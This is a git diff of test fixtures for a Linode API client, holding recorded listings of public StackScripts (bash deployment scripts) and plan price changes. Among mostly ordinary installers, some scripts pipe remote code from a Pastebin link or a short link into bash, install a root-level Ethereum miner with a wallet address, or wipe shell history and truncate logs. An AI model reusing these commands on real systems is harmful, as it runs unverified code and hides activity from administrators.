"revision", "script": "#!/bin/bash\r\ntest", "user_defined_fields": []}, {"id": 8989, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", @@ -2344,12 +2414,12 @@ interactions: here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Joomla 2.5 and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", - "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", - "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "Joomla 2.5 powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# + "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", + "linode/ubuntu10.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": + 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", + "updated": "2018-01-02T03:04:05", "rev_note": "Joomla 2.5 powered by Webuzo", + "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# Install Joomla 2.5 and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, @@ -2390,8 +2460,8 @@ interactions: here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure ShopSite and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", - "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", - "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], + "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", + "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "ShopSite powered by Webuzo", "script": "#!/bin/bash\n# \nsource \nsystem_set_hostname + \"$HOSTNAME\"\nexec > >(tee /dev/ttyS0 /var/log/stackscript.log) 2>&1\napt update + && apt upgrade -y && apt install -y curl wget net-tools traceroute jq\n# Generate + files\nmkdir -p /etc/victoriametrics/single\nmkdir -p /var/lib/victoria-metrics-data\nmkdir + -p /var/lib/cloud/scripts/per-instance\n# Create victoriametrics user\ngroupadd + -r victoriametrics\nuseradd -g victoriametrics -d /var/lib/victoria-metrics-data + -s /sbin/nologin --system victoriametrics\nchown -R victoriametrics:victoriametrics + /var/lib/victoria-metrics-data\n# Install VictoriaMetrics Single\nVM_VERSION=`curl + -sg \"https://api.github.com/repos/VictoriaMetrics/VictoriaMetrics/tags\" | + jq -r ''.[0].name''`\nwget https://github.com/VictoriaMetrics/VictoriaMetrics/releases/download/${VM_VERSION}/victoria-metrics-linux-amd64-${VM_VERSION}.tar.gz -O + /tmp/victoria-metrics.tar.gz\ntar xvf /tmp/victoria-metrics.tar.gz -C /usr/bin\nchmod + +x /usr/bin/victoria-metrics-prod\nchown root:root /usr/bin/victoria-metrics-prod\ntouch + /etc/victoriametrics/single/scrape.yml\nchown root:root /etc/victoriametrics/single/scrape.yml\ncat + </etc/systemd/system/vmsingle.service\n[Unit]\nDescription=VictoriaMetrics + is a fast, cost-effective and scalable monitoring solution and time series database.\n# + https://docs.victoriametrics.com\nAfter=network.target\n[Service]\nType=simple\nUser=victoriametrics\nGroup=victoriametrics\nWorkingDirectory=/var/lib/victoria-metrics-data\nStartLimitBurst=5\nStartLimitInterval=0\nRestart=on-failure\nRestartSec=5\nEnvironmentFile=-/etc/victoriametrics/single/victoriametrics.conf\nExecStart=/usr/bin/victoria-metrics-prod + \\$ARGS\nExecStop=/bin/kill -s SIGTERM \\$MAINPID\nExecReload=/bin/kill -HUP + \\$MAINPID\n# See docs https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#tuning\nProtectSystem=full\nLimitNOFILE=1048576\nLimitNPROC=1048576\nLimitCORE=infinity\nStandardOutput=syslog\nStandardError=syslog\nSyslogIdentifier=vmsingle\n[Install]\nWantedBy=multi-user.target\nEND\ncat + </etc/victoriametrics/single/victoriametrics.conf\n# See https://docs.victoriametrics.com/Single-server-VictoriaMetrics.html#list-of-command-line-flags + to get more information about supported command-line flags\n# \n# If you use + IPv6 pleas add \"-enableTCP6\" to args line\nARGS=\"-promscrape.config=/etc/victoriametrics/single/scrape.yml + -storageDataPath=/var/lib/victoria-metrics-data -retentionPeriod=12 -httpListenAddr=:8428 + -graphiteListenAddr=:2003 -opentsdbListenAddr=:4242 -influxListenAddr=:8089 + -enableTCP6\"\nEND\ncat < /etc/profile.d/victoriametrics_welcome.sh\n#!/bin/sh\n#\nmyip=$(hostname -I + | awk ''{print$1}'')\n******************************************************************************** + \nWelcome to VictoriaMetrics Single.\nTo keep this server secure, the UFW firewall + is enabled.\nAll ports are BLOCKED except 22 (SSH), 80 (HTTP), and 443 (HTTPS), + 8428 (VictoriaMetrics HTTP), 8089 (VictoriaMetrics Influx),\n4242 (VictoriaMetrics + OpenTSDB), 2003 (VictoriaMetrics Graphite)\nIn a web browser, you can view:\n + * The VictoriaMetrics Quickstart guide: https://kutt.it/1click-quickstart\nOn + the server:\n * The default VictoriaMetrics root is located at /var/lib/victoria-metrics-data\n * + VictoriaMetrics is running on ports: 8428, 8089, 4242, 2003 and they are bound + to the local interface.\n********************************************************************************\n # + This image includes version v1.74.0 of VictoriaMetrics. \n # See Release notes + https://github.com/VictoriaMetrics/VictoriaMetrics/releases/tag/v1.70.0\n # + Welcome to VictoriaMetrics droplet!\n # Website: https://victoriametrics.com\n # + Documentation: https://docs.victoriametrics.com\n # VictoriaMetrics Github + : https://github.com/VictoriaMetrics/VictoriaMetrics\n # VictoriaMetrics Slack + Community: https://slack.victoriametrics.com\n # VictoriaMetrics Telegram Community: + https://t.me/VictoriaMetrics_en\n # VictoriaMetrics config: /etc/victoriametrics/single/victoriametrics.conf\n # + VictoriaMetrics scrape config: /etc/victoriametrics/single/scrape.yml\n # + VictoriaMetrics UI accessable on: http://your_droplet_public_ipv4:8428/vmui/\nEND\n# + Enable UFW and add some rules to it\nsed -e ''s|DEFAULT_FORWARD_POLICY=.*|DEFAULT_FORWARD_POLICY=\"ACCEPT\"|g'' + \\\n -i /etc/default/ufw\nufw allow ssh comment \"SSH port\"\nufw allow http + comment \"HTTP port\"\nufw allow https comment \"HTTPS port\"\nufw allow 8428 + comment \"VictoriaMetrics Single HTTP port\"\nufw allow 8089/tcp comment \"TCP + Influx Listen port for VictoriaMetrics\"\nufw allow 8089/udp comment \"UDP Influx + Listen port for VictoriaMetrics\"\nufw allow 2003/tcp comment \"TCP Graphite + Listen port for VictoriaMetrics\"\nufw allow 2003/udp comment \"UDP Graphite + Listen port for VictoriaMetrics\"\nufw allow 4242 comment \"OpenTSDB Listen + port for VictoriaMetrics\"\nufw --force enable\n# Cleaning up\nrm -rf /tmp/* + /var/tmp/*\nhistory -c\ncat /dev/null > /root/.bash_history\nunset HISTFILE\nfind + /var/log -mtime -1 -type f ! -name ''stackscript.log'' -exec truncate -s 0 {} + \\;\n# Start VictoriaMetrics\nsystemctl enable vmsingle.service\nsystemctl start + vmsingle.service\necho \"Installation complete!\"", "user_defined_fields": [{"name": + "hostname", "label": "Hostname"}]}, {"id": 9254, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Apache Roller powered by Webuzo", "description": "Apache Roller is a full-featured, multi-user and group-blog server suitable for blog sites large and small.\r\n\r\nApache Roller is a Java @@ -2845,8 +2979,8 @@ interactions: Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Apache Roller and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", - "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", - "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], + "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", + "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Apache Roller powered by Webuzo", "script": "#!/bin/bash\n# \n# HOSTNAME=\n#\n#\n# FQDN=\n\n# This + sets the variable $IPADDR to the IP address the new Linode receives.\nIPADDR=$(/sbin/ifconfig + eth0 | awk ''/inet / { print $2 }'' | sed ''s/addr://'')\n\n# This updates the + packages on the system from the distribution repositories.\napt-get update\napt-get + upgrade -y\n\n# This section sets the hostname.\necho $HOSTNAME > /etc/hostname\nhostname + -F /etc/hostname\n\n# This section sets the Fully Qualified Domain Name (FQDN) + in the hosts file.\necho $IPADDR $FQDN $HOSTNAME >> /etc/hosts", "user_defined_fields": + [{"name": "hostname", "label": "The hostname for the new Linode."}, {"name": + "fqdn", "label": "The new Linode''s Fully Qualified Domain Name"}]}, {"id": + 9006, "username": "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", + "label": "Jcow powered by Webuzo", "description": "Jcow is a flexible Social + Networking software written in PHP. It can help you to:\r\n\r\n * Build a + social network for your interests and passions.\r\n * Build a member community + for your existing website.\r\n * Build a social networking site like facebook/myspace/twitter.\r\n\r\n\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion of the installation process, access http://your-ip:2004 to configure Jcow and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", - "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", - "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], + "ordinal": 0, "logo_url": "", "images": ["linode/centos5.6", "linode/ubuntu10.04lts32bit", + "linode/ubuntu10.04lts", "linode/ubuntu14.04lts", "linode/ubuntu12.04lts", "linode/centos6.8"], "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": "Jcow powered by Webuzo", "script": "#!/bin/bash\n# /etc/sysctl.conf\n\n###################################################################\n# Fix for page allocation failure\nvm.min_free_kbytes = 16384\nEOT\n touch /tmp/restart-rsyslog\n}", - "user_defined_fields": []}, {"id": 9009, "username": "webuzo", "user_gravatar_id": - "cf0348f835d60e6d133040f49bb36ec5", "label": "MODx powered by Webuzo", "description": - "MODx helps you take control of your online content. An Open Source PHP application - framework, it frees you to build sites exactly how you want and make them 100% - yours. Zero restrictions and fast to build. Super-simple templates in regular - HTML/CSS/JS (any lib you want). Registered user systems and a killer community. - Welcome to web-building nirvana.\r\n\t\t\t\r\nWebuzo is a Single User Control - Panel which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or - System Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines - or in the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath - to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion - of the installation process, access http://your-ip:2004 to configure MODx and - Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": - 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", - "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "MODx powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# - Install MODx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo - is a Single User Control Panel which helps users deploy Web Apps (WordPress, - Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, - etc) on their virtual machines or in the cloud.\n#\n# About MODx :\n# MODx - helps you take control of your online content. \n# An Open Source PHP application - framework, it frees you to build sites exactly how you want and make them 100% - yours. # Zero restrictions and fast to build. Super-simple templates in regular - HTML/CSS/JS (any lib you want).\n###########################################################################################################\n\n# - Install MODx Script using Webuzo\nfunction install_webuzo_script(){\n \n # - Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php - >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl - \"http://$ip:2004/install.php?prepareinstall=109&license=$1\"\n \n}\n\n# Install - Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo - Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log - 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log - 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # - Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling - MODx and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script - $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the - result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho - \" Installation Completed \"\necho \"-------------------------------------\"\necho - \"Congratulations, MODx has been successfully installed\"\necho \" \"\necho - \"You can now configure MODx and Softaculous Webuzo at the following URL :\"\necho - \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 1056306, "username": - "Poshumei", "user_gravatar_id": "f08d22196d2e64cd2cc9c03d865d3beb", "label": - "ETH", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/ubuntu20.04"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "", "script": "#!/bin/bash\nsleep 60 ;\nsudo apt update ;\nsudo apt -y install - nvidia-driver-450 ; \nsudo touch /etc/systemd/system/script.service ;\nsudo - touch /usr/local/bin/script.sh ;\nsudo chmod 777 /etc/systemd/system/script.service - ;\nsudo chmod 777 /usr/local/bin/script.sh ;\nsudo echo \"#!/bin/bash\nsleep - 10 ;\nwget https://github.com/trexminer/T-Rex/releases/download/0.25.12/t-rex-0.25.12-linux.tar.gz - && tar -xvf t-rex-0.25.12-linux.tar.gz && ./t-rex -a ethash -o stratum+ssl://eth-us-east.flexpool.io:5555 - -u 0x83D84Dc6c238f753fCb15573f55FC5855847050f.worker -p x -w rig0 --no-sni --dns-https-server - 8.8.8.8\" > /usr/local/bin/script.sh;\n\nsudo echo \"[Unit]\nDescription=Script\nAfter=network.target\n[Service]\nExecStart=/usr/local/bin/script.sh\nType=simple\nRestart=no\nUser=root\nWorkingDirectory=/root\n[Install]\nWantedBy=multi-user.target\" - > /etc/systemd/system/script.service;\n\nsudo systemctl daemon-reload;\nsudo - systemctl enable script.service;\nsleep 10;\nsudo reboot", "user_defined_fields": - []}, {"id": 8242, "username": "clc3123", "user_gravatar_id": "9dd72a7da5f85241e20d45ff374bca88", - "label": "precise64-with-multi-user-rvm-installed", "description": "", "ordinal": - 0, "logo_url": "", "images": [null], "deployments_total": 0, "deployments_active": - 0, "is_public": true, "mine": false, "created": "2018-01-02T03:04:05", "updated": - "2018-01-02T03:04:05", "rev_note": "Initial import 20140216", "script": "#!/bin/bash\n\n# - \n# HOSTNAME=home\n# - \n# FQDN=home.chenlichao.com\n# - \n# IP_ADDRESS=\"1.2.3.4\"\n# - \n# TIME_ZONE=\"Asia/Shanghai\"\n\n# - \n# - USER_SSH_PORT=22\n# \n# USER_NAME=username\n# \n# USER_PASSWORD=username\n# \n# USER_PUB_KEY=\"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCZ5a4st/5p+JH7uxU7h84aedrq9rciqQIWk8RF5Gd835MlvP/eL60mQUbEZ9DbQuTRbHTvNT/HKcZ1GvRfvs7MuEiZcDCaw9qTjoV2Max4eeya4v9n/BBTsQw7gznP7yFa82+5DcH9W+OR/75J1JdzLWz4bw+Rgb/4lym5i6j98x6i6dTOXnCc4uc0t2vrIhqSpxH6cmAoKJtEKKAUQpS8/gGtxVgoOqLTP6jw4HXy+Bi+XTu0C78jSjf6I60fGYd9G4p5ci2iQg7bjnrSGu+2yWHnv35afdNaj8nEp50Ocl4hiMtP9/mcVuN5ffcaxU2hGoKJJodENvyuwaRNRTlX - username@gmail.com\"\n\n# \n# RVM_VERSION=\"1.25.15\"\n# \n# RVM_RUBY_VERSION=\"1.9.3\"\n\nshow_msg()\n{\n echo - \">>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>\"\n echo \"Start $1\"\n echo - \"<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<\"\n}\n\nshow_msg \"modifying - hostname & hosts\"\necho $HOSTNAME > /etc/hostname\necho \"$IP_ADDRESS $FQDN - $HOSTNAME\" >> /etc/hosts\nhostname -F /etc/hostname\n\nshow_msg \"apt update - & upgrade\"\ncat < /etc/apt/sources.list\ndeb http://us.archive.ubuntu.com/ubuntu/ - precise main restricted universe multiverse\ndeb http://us.archive.ubuntu.com/ubuntu/ - precise-updates main restricted universe multiverse\ndeb http://security.ubuntu.com/ubuntu - precise-security main restricted universe multiverse\ndeb-src http://us.archive.ubuntu.com/ubuntu/ - precise main restricted universe multiverse\ndeb-src http://us.archive.ubuntu.com/ubuntu/ - precise-updates main restricted universe multiverse\ndeb-src http://security.ubuntu.com/ubuntu - precise-security main restricted universe multiverse\nEOF\napt-get update\napt-get - -y upgrade\n\nshow_msg \"installing common packages\"\napt-get -y install build-essential - htop byobu vim-nox tree git curl wget\n\nshow_msg \"modifying time zone\"\necho - $TIME_ZONE > /etc/timezone\ndpkg-reconfigure -f noninteractive tzdata\n\nshow_msg - \"adding admin user\"\nuseradd -U -d /home/$USER_NAME -m -s /bin/bash $USER_NAME\necho - \"$USER_NAME:$USER_PASSWORD\" | chpasswd\ncat </tmp/$USER_NAME\n$USER_NAME - ALL=(ALL) NOPASSWD:ALL\nEOF\nmv /tmp/$USER_NAME /etc/sudoers.d/$USER_NAME\nchmod - 0440 /etc/sudoers.d/$USER_NAME\n\nshow_msg \"installing multi-user rvm version: - $RVM_VERSION\"\nsu -l $USER_NAME < $USER_SSH_DIR/authorized_keys\nchmod - 0600 $USER_SSH_DIR/authorized_keys\nchown -R $USER_NAME:$USER_NAME $USER_SSH_DIR\n - \nshow_msg \"turning on colored shell prompt\"\nsed -i ''/^#force_color_prompt=yes$/a\\\nforce_color_prompt=yes'' - /home/$USER_NAME/.bashrc\nchown $USER_NAME:$USER_NAME /home/$USER_NAME/.bashrc\n\nshow_msg - \"adding add_app_runner.sh\"\ncat <<''EOF'' > /home/$USER_NAME/add_app_runner.sh - \n#!/bin/bash\n\nif [[ `id -u` -eq 0 && \"$#\" -eq 1 ]]; then\n APP_RUNNER=\"$1\"\nelse\n echo - \"Usage: $ sudo $0 app_runner_name\" >&2\n exit 1\nfi\nuseradd -U -d /home/$APP_RUNNER - -m -s /bin/bash $APP_RUNNER\nEOF\nchmod 0700 /home/$USER_NAME/add_app_runner.sh\nchown - $USER_NAME:$USER_NAME /home/$USER_NAME/add_app_runner.sh\n\nshow_msg \"modifying - sshd setting\"\nsed -i \"s/^Port 22$/Port $USER_SSH_PORT/\" /etc/ssh/sshd_config\nsed - -i ''s/^LoginGraceTime 120$/LoginGraceTime 30/'' /etc/ssh/sshd_config\nsed -i - ''s/^PermitRootLogin yes$/PermitRootLogin no/'' /etc/ssh/sshd_config\n\nshow_msg - \"rebooting now\"\nreboot", "user_defined_fields": []}, {"id": 9010, "username": - "webuzo", "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Coppermine - powered by Webuzo", "description": "Coppermine is a multi-purpose fully-featured - and integrated web picture gallery script written in PHP using GD or ImageMagick - as image library with a MySQL backend. \r\nCPG is so fully featured it''s not - enough to fully list them.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel - which helps users deploy Web Apps (WordPress, Joomla, Drupal, etc) or System - Apps (Apache, NGINX, PHP, Java, MongoDB, etc) on their virtual machines or in - the cloud.\r\n\r\nYou can get a Webuzo License here\r\nhttp://www.webuzo.com/pricing\r\n\r\nPath - to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion - of the installation process, access http://your-ip:2004 to configure Coppermine - and Softaculous Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", - "ordinal": 0, "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", - "linode/ubuntu14.04lts", "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "Coppermine powered by Webuzo", "script": "#!/bin/bash\n# \n\n###########################################################################################################\n# - Install Coppermine and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo - is a Single User Control Panel which helps users deploy Web Apps (WordPress, - Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, - etc) on their virtual machines or in the cloud.\n#\n# About Coppermine :\n# Coppermine - is a multi-purpose fully-featured and integrated web picture gallery script - written in PHP \n# using GD or ImageMagick as image library with a MySQL backend. - \n# CPG is so fully featured it''s not enough to fully list them.\n###########################################################################################################\n\n# - Install Coppermine Script using Webuzo\nfunction install_webuzo_script(){\n \n # - Install Webuzo\n install_webuzo\n \n wget http://files.webuzo.com/ip.php - >> /root/webuzo-install.log 2>&1\n ip=$(cat ip.php)\n \n /usr/local/emps/bin/curl - \"http://$ip:2004/install.php?prepareinstall=27&license=$1\"\n \n}\n\n# Install - Webuzo Function\nfunction install_webuzo(){\n \n # Fetch the Webuzo - Installer\n wget -N http://files.webuzo.com/install.sh >> /root/webuzo-install.log - 2>&1\n \n # Modify Permissions\n chmod 0755 install.sh >> /root/webuzo-install.log - 2>&1\n \n # Execute\n ./install.sh >> /root/webuzo-install.log 2>&1\n \n # - Clean Up\n rm -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling - Coppermine and Softaculous Webuzo\n#########################################################\n\ninstall_webuzo_script - $WEBUZO_LICENSE_KEY\n\n# Check the return of the above command and display the - result accordingly\n\necho \" \"\necho \"-------------------------------------\"\necho - \" Installation Completed \"\necho \"-------------------------------------\"\necho - \"Congratulations, Coppermine has been successfully installed\"\necho \" \"\necho - \"You can now configure Coppermine and Softaculous Webuzo at the following URL - :\"\necho \"http://$ip:2004/\"\necho \" \"\necho \"Thank you for choosing Softaculous - Webuzo !\"\necho \" \"", "user_defined_fields": []}, {"id": 346419, "username": - "lovefirst02", "user_gravatar_id": "44b8b01b76b4d763581dc4e1a8bbb427", "label": - "prx", "description": "", "ordinal": 0, "logo_url": "", "images": ["linode/debian8"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "Initial import", "script": "#!/bin/sh\n\nwget -O spi https://pastebin.com/raw/1gRjw6Rn - && sed -i ''s/\\r$//'' spi && bash spi -jessie && rm spi", "user_defined_fields": - []}, {"id": 8501, "username": "gretongersvps66", "user_gravatar_id": "cfd4936b358ed931f5a628170dcfef25", - "label": "ariepmuqodas", "description": "", "ordinal": 0, "logo_url": "", "images": - ["linode/debian7"], "deployments_total": 0, "deployments_active": 0, "is_public": - true, "mine": false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", - "rev_note": "Initial import", "script": "#!/bin/bash\ncurl -s https://lv.linode.com/gzkA - | sudo bash", "user_defined_fields": []}, {"id": 9271, "username": "webuzo", - "user_gravatar_id": "cf0348f835d60e6d133040f49bb36ec5", "label": "Nginx powered - by Webuzo", "description": "Nginx does mot rely on threads to handle requests. - Instead it uses a much more scalable event-driven (asynchronous) architecture. - This architecture uses small, but more importantly, predictable amounts of memory - under load.\r\n\t\t\t\r\nWebuzo is a Single User Control Panel which helps users - deploy Web Apps (WordPress, Joomla, Drupal, etc) or System Apps (Apache, NGINX, - PHP, Java, MongoDB, etc) on their virtual machines or in the cloud.\r\n\r\nPath - to Installation Logs : /root/webuzo-install.log\r\n\r\nInstructions\r\nOn completion - of the installation process, access http://your-ip:2004 to configure Softaculous - Webuzo initially.\r\n\r\nContact : http://webuzo.com/contact", "ordinal": 0, - "logo_url": "", "images": ["linode/centos6.8", "linode/ubuntu12.04lts", "linode/ubuntu14.04lts", - "linode/centos5.6", "linode/ubuntu10.04lts", "linode/ubuntu10.04lts32bit"], - "deployments_total": 0, "deployments_active": 0, "is_public": true, "mine": - false, "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "rev_note": - "Nginx powered by Webuzo", "script": "#!/bin/bash\n\n###########################################################################################################\n# - Install Nginx and Softaculous Webuzo\n# Description -\n# About Webuzo :\n# Webuzo - is a Single User Control Panel which helps users deploy Web Apps (WordPress, - Joomla, Drupal, etc)\n# or System Apps (Apache, NGINX, PHP, Java, MongoDB, - etc) on their virtual machines or in the cloud.\n#\n# About Nginx :\n# Nginx - does mot rely on threads to handle requests. Instead it uses a much more scalable - \n# event-driven (asynchronous) architecture. This architecture uses small, - but more importantly, \n# predictable amounts of memory under load.\n###########################################################################################################\n\n# - Install Nginx application using Webuzo\nfunction install_webuzo(){\n \n # - Fetch the Webuzo Installer\n wget -N http://files.webuzo.com/install.sh >> - /root/webuzo-install.log 2>&1\n \n # Modify Permissions\n chmod 0755 - install.sh >> /root/webuzo-install.log 2>&1\n \n # Execute\n ./install.sh - --install=nginx >> /root/webuzo-install.log 2>&1\n \n # Clean Up\n rm - -rf install.sh >> /root/webuzo-install.log 2>&1\n \n}\n\n#########################################################\n#\tInstalling - Nginx using Softaculous Webuzo\n#########################################################\n\ninstall_webuzo\n\n# - Check the return of the above command and display the result accordingly\n\necho - \" \"\necho \"-------------------------------------\"\necho \" Installation - Completed \"\necho \"-------------------------------------\"\necho \"Congratulations, - Nginx has been successfully installed\"\necho \" \"\necho \"You can now configure - Nginx and Softaculous Webuzo at the following URL :\"\necho \"http://$ip:2004/\"\necho - \" \"\necho \"Thank you for choosing Softaculous Webuzo !\"\necho \" \"", "user_defined_fields": - []}], "page": 1, "pages": 19, "results": 1880}' + "user_defined_fields": []}], "page": 1, "pages": 22, "results": 2132}' headers: Access-Control-Allow-Credentials: - "true" diff --git a/test/integration/fixtures/ExampleListTypes_all.yaml b/test/integration/fixtures/ExampleListTypes_all.yaml index 201002380..933ceaf9f 100644 --- a/test/integration/fixtures/ExampleListTypes_all.yaml +++ b/test/integration/fixtures/ExampleListTypes_all.yaml @@ -18,50 +18,50 @@ interactions: 0.0075, "monthly": 5.0}, "addons": {"backups": {"price": {"hourly": 0.003, "monthly": 2.0}}}, "memory": 1024, "disk": 25600, "transfer": 1000, "vcpus": 1, "gpus": 0, "network_out": 1000, "class": "nanode", "successor": null}, {"id": "g6-standard-1", - "label": "Linode 2GB", "price": {"hourly": 0.015, "monthly": 10.0}, "addons": + "label": "Linode 2GB", "price": {"hourly": 0.018, "monthly": 12.0}, "addons": {"backups": {"price": {"hourly": 0.004, "monthly": 2.5}}}, "memory": 2048, "disk": 51200, "transfer": 2000, "vcpus": 1, "gpus": 0, "network_out": 2000, "class": "standard", "successor": null}, {"id": "g6-standard-2", "label": "Linode 4GB", - "price": {"hourly": 0.03, "monthly": 20.0}, "addons": {"backups": {"price": + "price": {"hourly": 0.036, "monthly": 24.0}, "addons": {"backups": {"price": {"hourly": 0.008, "monthly": 5.0}}}, "memory": 4096, "disk": 81920, "transfer": 4000, "vcpus": 2, "gpus": 0, "network_out": 4000, "class": "standard", "successor": - null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.06, - "monthly": 40.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": + null}, {"id": "g6-standard-4", "label": "Linode 8GB", "price": {"hourly": 0.072, + "monthly": 48.0}, "addons": {"backups": {"price": {"hourly": 0.015, "monthly": 10.0}}}, "memory": 8192, "disk": 163840, "transfer": 5000, "vcpus": 4, "gpus": 0, "network_out": 5000, "class": "standard", "successor": null}, {"id": "g6-standard-6", - "label": "Linode 16GB", "price": {"hourly": 0.12, "monthly": 80.0}, "addons": + "label": "Linode 16GB", "price": {"hourly": 0.144, "monthly": 96.0}, "addons": {"backups": {"price": {"hourly": 0.03, "monthly": 20.0}}}, "memory": 16384, "disk": 327680, "transfer": 8000, "vcpus": 6, "gpus": 0, "network_out": 6000, "class": "standard", "successor": null}, {"id": 